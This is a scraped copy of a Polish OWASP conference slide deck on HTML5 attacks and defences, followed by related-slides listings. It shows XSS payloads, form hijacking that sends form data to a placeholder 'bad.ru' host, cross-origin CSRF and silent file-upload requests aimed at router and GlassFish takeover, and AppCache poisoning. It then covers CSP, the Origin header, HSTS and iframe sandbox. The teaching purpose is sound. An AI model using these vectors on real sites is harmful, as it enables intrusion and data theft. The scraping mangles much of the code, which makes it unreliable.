狠狠撸

狠狠撸Share a Scribd company logo
HTML5:
        atak i obrona

         Krzysztof Kotowicz

OWASP    SecuRing
         kkotowicz@securing.pl


          Copyright 2007 漏 The OWASP Foundation
          Permission is granted to copy, distribute and/or modify this document
          under the terms of the OWASP License.




          The OWASP Foundation
          http://www.owasp.org
$ id

飥 IT security consultant @ SecuRing
飥 Web security researcher
  (BlackHat USA, BruCON, Hack in Paris, ...)
飥 blog.kotowicz.net
飥 @kkotowicz




                                               OWASP   2
HTML5
(i pokrewne)




               OWASP   3
HTML5

飥 Upgrade wielu technologii u偶ywanych przez
  aplikacje webowe
飥 Du偶o nowej dokumentacji
飥 Du偶o nowego kodu
飥 Prace trwaj膮 od 2004




                                          OWASP   4
HTML5

飥 Bogaty, oparty na standardach klient
飥 Przenoszenie logiki na stron臋 klienta
 飥 wi臋cej danych
 飥 wi臋cej mo偶liwo艣ci
飥 Nowe API
 飥 Geolocation, Drag & Drop, Filesystem, WebSockets,
   WebWorkers, Touch Events...




                                               OWASP   5
HTML5 i bezpiecze艅stwo

飥 Wiele rozwi膮za艅 roboczych
飥 Tradycyjne webowe podatno艣ci HTML wci膮偶
  istniej膮
 飥 XSS
 飥 CSRF
飥 Nowe API dost臋pne dla Javascriptu
飥 XSS zyskuje na znaczeniu




                                       OWASP   6
HTML5 - ataki
 (praktyczne)




                OWASP   7
XSS

飥 Filtry anty-XSS nie tylko w przegl膮darkach!
飥 Nowe elementy, nowe atrybuty

 <iframe srcdoc=&#/slideshow/attack-withhtml5owasp/16600045/x27;<b>html here</b>&#/slideshow/attack-withhtml5owasp/16600045/x27;>


 <video poster=javascript:alert(1)//></video>

 <form><button
 formaction="javascript:alert(1)">X</button>

 <math><maction actiontype="statusline"
 /slideshow/attack-withhtml5owasp/16600045/xlink:href="javascript:alert(3)">CLICKME<mte/slideshow/attack-withhtml5owasp/16600045/xt
 >http://google.com</mte/slideshow/attack-withhtml5owasp/16600045/xt></maction> </math>
                                            OWASP   8
XSS

飥 SVG, base64 - XSS i zaciemnnianie
  <svg><image style=&#/slideshow/attack-withhtml5owasp/16600045/x27;filter:url(/slideshow/attack-withhtml5owasp/16600045/"data:image/svg_  +/slideshow/attack-withhtml5owasp/16600045/xml,<svg /slideshow/attack-withhtml5owasp/16600045/xmlns=%22http:/www.w3.org/2000/svg_  %22><script>parent.alert(1)</script></svg>")&#/slideshow/attack-withhtml5owasp/16600045/x27;></
  svg>

  <svg /slideshow/attack-withhtml5owasp/16600045/xmlns="http://www.w3.org/2000/svg"
  /slideshow/attack-withhtml5owasp/16600045/xmlns:/slideshow/attack-withhtml5owasp/16600045/xlink="http://www.w3.org/1999//slideshow/attack-withhtml5owasp/16600045/xlink">
  <feImage> <set attributeName="/slideshow/attack-withhtml5owasp/16600045/xlink:href"
  to="data:image/svg+/slideshow/attack-withhtml5owasp/16600045/xml;charset=utf-8;base64,
  PHN2ZyB4bW/slideshow/attack-withhtml5owasp/16600045/xucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC
  9zdmciPj/slideshow/attack-withhtml5owasp/16600045/xzY3JpcHQ
  %2BYW/slideshow/attack-withhtml5owasp/16600045/xlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/>
  </feImage> </svg>

                                            OWASP    9
Data: URI

飥 U偶yj, jak kiedy艣 javascript:
// all
<a href=data:te/slideshow/attack-withhtml5owasp/16600045/xt/
html;base64,PHNjcmlwdD5hbGVydCg/slideshow/attack-withhtml5owasp/16600045/xKTwvc2NyaXB0Pg==>/slideshow/attack-withhtml5owasp/16600045/xss</a>

// IE
<link rel=stylesheet
      href=data:,*%7b/slideshow/attack-withhtml5owasp/16600045/x:e/slideshow/attack-withhtml5owasp/16600045/xpression(write(//slideshow/attack-withhtml5owasp/16600045/xss/))%7d >

飥 Sprawd藕 przekierowania!

 http://vuln.pl/?redirect=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,....

 Location: data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,...

                                                OWASP      10
Przechwytywanie formularzy

飥 Bez u偶ycia Javascript


  <form id=f action=https://good.com>
  <input name=secret>
  </form>

  // anywhere in the document
  <button form=f formaction=http://
  bad.ru>CLICK
  </button>


                                      OWASP   11
Wykorzystanie XSS

飥 HTML5 pomaga przy eksploitacji
 飥 WebSockets - wydajne po艂膮czenie z C&C
 飥 Dane w DB, HTML5 filesystem, Web Storage

 飥 // stealth mode
   history.pushState(&#/slideshow/attack-withhtml5owasp/16600045/x27;/innocent-url&#/slideshow/attack-withhtml5owasp/16600045/x27;)

   // wstrzykni臋cie kodu
   localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;]=&#/slideshow/attack-withhtml5owasp/16600045/x27;alert(/1/)&#/slideshow/attack-withhtml5owasp/16600045/x27;;
 飥
   // p贸藕niej
   eval(localStorage[&#/slideshow/attack-withhtml5owasp/16600045/x27;code&#/slideshow/attack-withhtml5owasp/16600045/x27;])


                                              OWASP   12
Klasyczny XHR

飥 Tylko w ramach tej samej domeny




                                    OWASP   13
Cross Origin Resource Sharing

飥 Mi臋dzydomenowy




                                OWASP   14
CORS

飥 Mi臋dzydomenowe XHR, z po艣wiadczeniami
  (credentials):
 飥 cookies
 飥 certyfikat SSL/TLS kliencki
 飥 po艣wiadczenia HTTP auth
飥 Docelowy serwer podejmuje decyzj臋
 飥 Odsy艂a odpowiednie nag艂贸wki




                                      OWASP   15
CORS




// http://attacker.cn
var /slideshow/attack-withhtml5owasp/16600045/xhr = new XMLHttpRequest();

/slideshow/attack-withhtml5owasp/16600045/xhr.open("POST", "http://victim.pl");
/slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type", "te/slideshow/attack-withhtml5owasp/16600045/xt/plain");
/slideshow/attack-withhtml5owasp/16600045/xhr.withCredentials = "true"; // cookies etc.
/slideshow/attack-withhtml5owasp/16600045/xhr.send("Anything");




                                            OWASP     16
CORS

飥 呕膮danie XHR dociera do serwera
飥 Z po艣wiadczeniami




飥 Mo偶na wykorzysta膰 do Cross Site Request Forgery
 飥 Tak jak <form>, <img src> itd.
 飥 Nic nowego?


                                         OWASP      17
Cichy upload plik贸w
                                                             ing ");
                                                   "An yth
                                        r.s end(
                                   /slideshow/attack-withhtml5owasp/16600045/xh

 Content-Type: multipart/form-data; boundary=AaB03/slideshow/attack-withhtml5owasp/16600045/x

 --AaB03/slideshow/attack-withhtml5owasp/16600045/x
 Content-Disposition: form-data; name="submit-name"

 Larry
 --AaB03/slideshow/attack-withhtml5owasp/16600045/x
 Content-Disposition: form-data; name="files";
 filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt"
 Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plain

 ... contents of file1.t/slideshow/attack-withhtml5owasp/16600045/xt ...
 --AaB03/slideshow/attack-withhtml5owasp/16600045/x--

                                                     OWASP        18
Cichy upload plik贸w




     /slideshow/attack-withhtml5owasp/16600045/xhr.setRequestHeader("Content-Type",
        "multipart/form-data, boundary=/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x");

     /slideshow/attack-withhtml5owasp/16600045/xhr.send(&#/slideshow/attack-withhtml5owasp/16600045/x27;
     --/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/xrn
     Content-Disposition: form-data;
      name="files"; filename="file1.t/slideshow/attack-withhtml5owasp/16600045/xt"rn
     Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/plainrn
     rn
     ANYTHINGrn
     --/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x/slideshow/attack-withhtml5owasp/16600045/x--&#/slideshow/attack-withhtml5owasp/16600045/x27;);


                                          OWASP   19
Cichy upload plik贸w

飥 Udaje multipart/form-data request z uploadem
  poprzez <input type=file>
飥 U偶yj do:
 飥 Zast膮pienia firmware鈥檜 w routerach
 飥 Przej臋cia kontroli nad serwerami aplikacyjnymi

    logUrl = &#/slideshow/attack-withhtml5owasp/16600045/x27;http://glassfishserver/
        management/domain/applications/
        application&#/slideshow/attack-withhtml5owasp/16600045/x27;;
      fileUpload(c,"maliciousarchive.war");




                                                OWASP   20
Wstrzykni臋cie tre艣ci

飥 http://website/#/a/page

  /slideshow/attack-withhtml5owasp/16600045/xhr.open("GET", "/a/page");


飥 https://touch.facebook.com/#http://
  e/slideshow/attack-withhtml5owasp/16600045/xample.com//slideshow/attack-withhtml5owasp/16600045/xss.php

  HTTP/1.1 200 OK
  Access-Control-Allow-Origin: *
  Content-Type: te/slideshow/attack-withhtml5owasp/16600045/xt/html

  <img src=/slideshow/attack-withhtml5owasp/16600045/x onerror=alert(1)>

                                        OWASP   21
Offline web applications

飥 Cache offline

  <html manifest=/cache.manifest>
飥 Manifest
  飥 Typ MIME te/slideshow/attack-withhtml5owasp/16600045/xt/cache-manifest
   CACHE MANIFEST
   /
   /main/home
   /main/app.js
   /settings/home
   /settings/app.js
   http://img.e/slideshow/attack-withhtml5owasp/16600045/xample.com/logo.png


飥 Cache od艣wie偶a si臋, kiedy zmieni si臋 plik
                                              OWASP   22
Man in the middle



飥 Podgl膮d / zmiana ruchu
 飥 XSS
 飥 session hijack (Firesheep)
飥 Atak nietrwa艂y




                                OWASP   23
AppCache poison

1. W trakcie MITM: wstrzykni臋cie trucizny
  <html manifest="/robots.t/slideshow/attack-withhtml5owasp/16600045/xt">                 CACHE MANIFEST
  ....<script>evil_foo()</script>               CACHE:
                                                http://victim/
                                                NETWORK:
                                                *
2. Po zako艅czeniu MITM:
  鈥   ofiara odwiedza stron臋
  鈥   robots.t/slideshow/attack-withhtml5owasp/16600045/xt ma niew艂a艣ciwy typ MIME
  鈥   zatruta strona pobierana z cache
  鈥   z艂o艣liwy kod uruchamia si臋
  鈥   ... a偶 do r臋cznego wyczyszczenia offline cache
                                                       OWASP   24
AppCache poison




                  OWASP   25
AppCache poison

飥 Jak si臋 broni膰?
  飥 SSL/TLS
  飥 Wyczyszczenie
    offline cache




                    OWASP   26
HTML5 - obrona
(w trakcie budowy)




                     OWASP   27
HTML5 - metody obrony

飥   Content Security Policy (XSS)
飥   Nag艂贸wek Origin (CSRF)
飥   HTTP Strict Transport Security (MITM)
飥   Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x (izolacja tre艣ci)




                                            OWASP   28
Content Security Policy

飥 Polityka zapobiegaj膮ca m.in. XSS
飥 Firefo/slideshow/attack-withhtml5owasp/16600045/x / Chrome / IE 10 / Safari
飥 Ci臋偶ka w implementacji

   <a onclick=....>   <script>code</script>

飥 Defense-in-depth




                                          OWASP   29
Content Security Policy



Content-Security-Policy:
  script-src &#/slideshow/attack-withhtml5owasp/16600045/x27;self&#/slideshow/attack-withhtml5owasp/16600045/x27; https://apis.google.com;
  frame-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27;; object-src &#/slideshow/attack-withhtml5owasp/16600045/x27;none&#/slideshow/attack-withhtml5owasp/16600045/x27;




                                      OWASP    30
Nag艂贸wek Origin

   Referer: http://host:port/url/?a=1

   飥 Cz臋sto u偶ywany do zabezpieczenia przed CSRF

if (req.headers.referer
    && !req.headers.referer.match(&#/slideshow/attack-withhtml5owasp/16600045/x27;ok.com&#/slideshow/attack-withhtml5owasp/16600045/x27;)) {
    tell_attacker_to_get_lost();
} else {
    process();
}

   飥 Kiedy艣 艂atwy do podrobienia

                                              OWASP   31
Nag艂贸wek Origin

飥 艁atwo pozby膰 si臋 nag艂贸wka Referer!

 飥 preferencje przegl膮darki
 飥 https:// 鈫 http://
 飥 niemo偶liwa do ustalenia warto艣膰

location = &#/slideshow/attack-withhtml5owasp/16600045/x27;data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<html><meta http-
equiv="refresh" content="0; url=data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,<form
id=f method=post action=&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;+url+&#/slideshow/attack-withhtml5owasp/16600045/x27;&#/slideshow/attack-withhtml5owasp/16600045/x27;></
form><script>document.f.submit()</scri&#/slideshow/attack-withhtml5owasp/16600045/x27;+&#/slideshow/attack-withhtml5owasp/16600045/x27;pt>"></html>&#/slideshow/attack-withhtml5owasp/16600045/x27;;




                                              OWASP       32
Nag艂贸wek Origin

飥 szanuje prywatno艣膰

  Referer: http://host:port/naga-prawda
  Origin: http://host:port
飥 zachowany przy ruchu https:// 鈫 http://

飥 nie mo偶e by膰 podrobiony

飥 nieznany 鈫    Origin: null



                                            OWASP   33
HSTS

飥 HTTP Strict Transport Security
飥 Zabezpiecza przed atakami SSL stripping




       GET / HTTP/1.1
       Host: gmail.com

       HTTP/1.1 301 Be Secure
       Location: https://mail.google.com/



                                            OWASP   34
HSTS

Strict-Transport-Security: ma/slideshow/attack-withhtml5owasp/16600045/x-age=1576800;
   includeSubDomains

  飥 Dozwolone tylko szyfrowane po艂膮czenia
  飥 Ciche t艂umaczenie http:// na https://
  飥 鈥淗ard fail鈥 w przypadku b艂臋d贸w SSL/TLS




                                         OWASP   35
Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x

 <script>user_id=4</script>
 <iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/untrusted-ad.asp/slideshow/attack-withhtml5owasp/16600045/x />


  飥   Bez dost臋pu do DOM
  飥   Bez skrypt贸w
  飥   Bez plugin贸w (Java, Flash, ...)
  飥   Bez formularzy
  飥   Bez framebusting
  飥   Ograniczenia mo偶na wybi贸rczo wy艂膮cza膰

                                          OWASP   36
Iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x



<iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x src=/slideshow/attack-withhtml5owasp/16600045/"data:te/slideshow/attack-withhtml5owasp/16600045/xt/html,
<script>alert(&#/slideshow/attack-withhtml5owasp/16600045/x27;haha!&#/slideshow/attack-withhtml5owasp/16600045/x27;)</script>">
</iframe>

// attacker.com
<iframe sandbo/slideshow/attack-withhtml5owasp/16600045/x="allow-scripts
allow-forms" src=http://clickjacked/ >
</iframe>




                                       OWASP   37
Podsumowanie

飥 Nowe mo偶liwo艣ci, tak偶e dla atakuj膮cego
飥 XSS gro藕niejszy w skutkach

飥 Nowe narz臋dzia do obrony
飥 Warto je zastosowa膰 w kombinacji z tradycyjnymi
  metodami




                                           OWASP    38
Odno艣niki

飥 html5security.org
飥 html5sec.org
飥 www.owasp.org/inde/slideshow/attack-withhtml5owasp/16600045/x.php/
  HTML5_Security_Cheat_Sheet

飥 github.com/koto/
飥 blog.kotowicz.net




                               OWASP   39

More Related Content

What&#/slideshow/attack-withhtml5owasp/16600045/x27;s hot (13)

Jak nad膮偶y膰 za 艣wiatem front endu
Jak nad膮偶y膰 za 艣wiatem front enduJak nad膮偶y膰 za 艣wiatem front endu
Jak nad膮偶y膰 za 艣wiatem front endu
Tomasz Dziuda
Pot臋ga pliku .htaccess
Pot臋ga pliku .htaccessPot臋ga pliku .htaccess
Pot臋ga pliku .htaccess
Wojciech Klocek
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
Wojciech Klocek
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-API
Tomasz Dziuda
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015
Tomasz Dziuda
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiasto
secman_pl
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Tomasz Dziuda
WP-Security Bezpiecze艅stwo - podstawy webinar
WP-Security Bezpiecze艅stwo - podstawy webinarWP-Security Bezpiecze艅stwo - podstawy webinar
WP-Security Bezpiecze艅stwo - podstawy webinar
merlin9274
Electron + WordPress = 鉂
Electron + WordPress = 鉂Electron + WordPress = 鉂
Electron + WordPress = 鉂
Tomasz Dziuda
Statycznie czy dynamicznie?
Statycznie czy dynamicznie?Statycznie czy dynamicznie?
Statycznie czy dynamicznie?
Tomasz Dziuda
Dok膮d zmierza WordPress?
Dok膮d zmierza WordPress?Dok膮d zmierza WordPress?
Dok膮d zmierza WordPress?
Tomasz Dziuda
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
PROIDEA
Jak nad膮偶y膰 za 艣wiatem front endu
Jak nad膮偶y膰 za 艣wiatem front enduJak nad膮偶y膰 za 艣wiatem front endu
Jak nad膮偶y膰 za 艣wiatem front endu
Tomasz Dziuda
Pot臋ga pliku .htaccess
Pot臋ga pliku .htaccessPot臋ga pliku .htaccess
Pot臋ga pliku .htaccess
Wojciech Klocek
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
20 Joomlasztuczek, kt贸re mog膮 CI si臋 przyda膰
Wojciech Klocek
Wprowadzenie do WP-API
Wprowadzenie do WP-APIWprowadzenie do WP-API
Wprowadzenie do WP-API
Tomasz Dziuda
Word up warszawa 2015
Word up warszawa 2015Word up warszawa 2015
Word up warszawa 2015
Tomasz Dziuda
Zhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP TrojmiastoZhakuj swojego Wordpressa, WordUP Trojmiasto
Zhakuj swojego Wordpressa, WordUP Trojmiasto
secman_pl
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp WarszawaMotywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Motywy dla WordPressa - historia prawdziwa - WordUp Warszawa
Tomasz Dziuda
WP-Security Bezpiecze艅stwo - podstawy webinar
WP-Security Bezpiecze艅stwo - podstawy webinarWP-Security Bezpiecze艅stwo - podstawy webinar
WP-Security Bezpiecze艅stwo - podstawy webinar
merlin9274
Electron + WordPress = 鉂
Electron + WordPress = 鉂Electron + WordPress = 鉂
Electron + WordPress = 鉂
Tomasz Dziuda
Statycznie czy dynamicznie?
Statycznie czy dynamicznie?Statycznie czy dynamicznie?
Statycznie czy dynamicznie?
Tomasz Dziuda
Dok膮d zmierza WordPress?
Dok膮d zmierza WordPress?Dok膮d zmierza WordPress?
Dok膮d zmierza WordPress?
Tomasz Dziuda
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
"Sandbo/slideshow/attack-withhtml5owasp/16600045/x dla PowerShell&#/slideshow/attack-withhtml5owasp/16600045/x27;a - zr贸b to sam!" - Dawid Pachowski
PROIDEA

Viewers also liked (6)

I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuffI&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
Krzysztof Kotowicz
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Krzysztof Kotowicz
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
Jak ocali膰 swoje dane przed SQL injection?
Jak ocali膰 swoje dane przed SQL injection?Jak ocali膰 swoje dane przed SQL injection?
Jak ocali膰 swoje dane przed SQL injection?
Krzysztof Kotowicz
Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)
Krzysztof Kotowicz
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuffI&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
I&#/slideshow/attack-withhtml5owasp/16600045/x27;m in your browser, pwning your stuff
Krzysztof Kotowicz
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Kompletny przewodnik po SQL injection dla developer贸w PHP (i nie tylko)
Krzysztof Kotowicz
Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)Hacking HTML5 offensive course (Zeronights edition)
Hacking HTML5 offensive course (Zeronights edition)
Krzysztof Kotowicz
Jak ocali膰 swoje dane przed SQL injection?
Jak ocali膰 swoje dane przed SQL injection?Jak ocali膰 swoje dane przed SQL injection?
Jak ocali膰 swoje dane przed SQL injection?
Krzysztof Kotowicz
Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)Html5: Something wicked this way comes (Hack in Paris)
Html5: Something wicked this way comes (Hack in Paris)
Krzysztof Kotowicz
Something wicked this way comes - CONFidence
Something wicked this way comes - CONFidenceSomething wicked this way comes - CONFidence
Something wicked this way comes - CONFidence
Krzysztof Kotowicz

Similar to HTML5: Atak i obrona (20)

Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTPPi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
XSolve
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Logicaltrust pl
TGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert CharewiczTGT#20 - Ataki XSS - Robert Charewicz
TGT#20 - Ataki XSS - Robert Charewicz
Tr贸jmiejska Grupa Testerska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Leszek Mi?
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
Think Secure
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
PROIDEA
Wordpress i nag艂贸wki
Wordpress i nag艂贸wkiWordpress i nag艂贸wki
Wordpress i nag艂贸wki
Arkadiusz St臋plowski
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Hackowanie webaplikacji 鈥 ofensywa programisty na przyk艂adzie OWASP TOP 10
Ideo Sp. z o.o.
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.comNGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
NGSec 2016 - Ile warstw, tyle szans. - Leszek Mi艣@Defensive-Security.com
Leszek Mi?
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PLNOG22 - Piotr Stolarek - Bezpiecze艅stwo u偶ytkowania platform us艂ugowych Tel...
PROIDEA
Android i REST
Android i RESTAndroid i REST
Android i REST
Roman Wo藕niak
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnychGanymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
Ganymede - nowoczesne technologie w grach przegl膮darkowych i mobilnych
SKN Shader
10 przykaza艅 bezpiecznego programowania
10 przykaza艅 bezpiecznego programowania10 przykaza艅 bezpiecznego programowania
10 przykaza艅 bezpiecznego programowania
SecuRing
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
4Developers 2015: 10 przykaza艅 bezpiecznego kodowania - Wojciech Dworakowski
PROIDEA
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PROIDEA
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohatera
HordeTechnology
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
鈥淛ak ocali膰 swoje dane przed SQL injection?鈥 - Krzysztof Kotowicz na KrakSpot...
krakspot
AJAX - wdw1
AJAX - wdw1AJAX - wdw1
AJAX - wdw1
Micha艂 Kuciapski
Poca艂unek 艣mierci
Poca艂unek 艣mierciPoca艂unek 艣mierci
Poca艂unek 艣mierci
Divante
Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTPPi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
Pi膮tek z XSolve - Bezpieczne nag艂贸wki HTTP
XSolve
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Co z bezpiecze艅stwem aplikacji mobilnych? - studium przypadk贸w (KrakWhiteHat ...
Logicaltrust pl
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linu/slideshow/attack-withhtml5owasp/16600045/x-Polska
Leszek Mi?
Owasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PLOwasp Top10 2010 RC1 PL
Owasp Top10 2010 RC1 PL
Think Secure
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
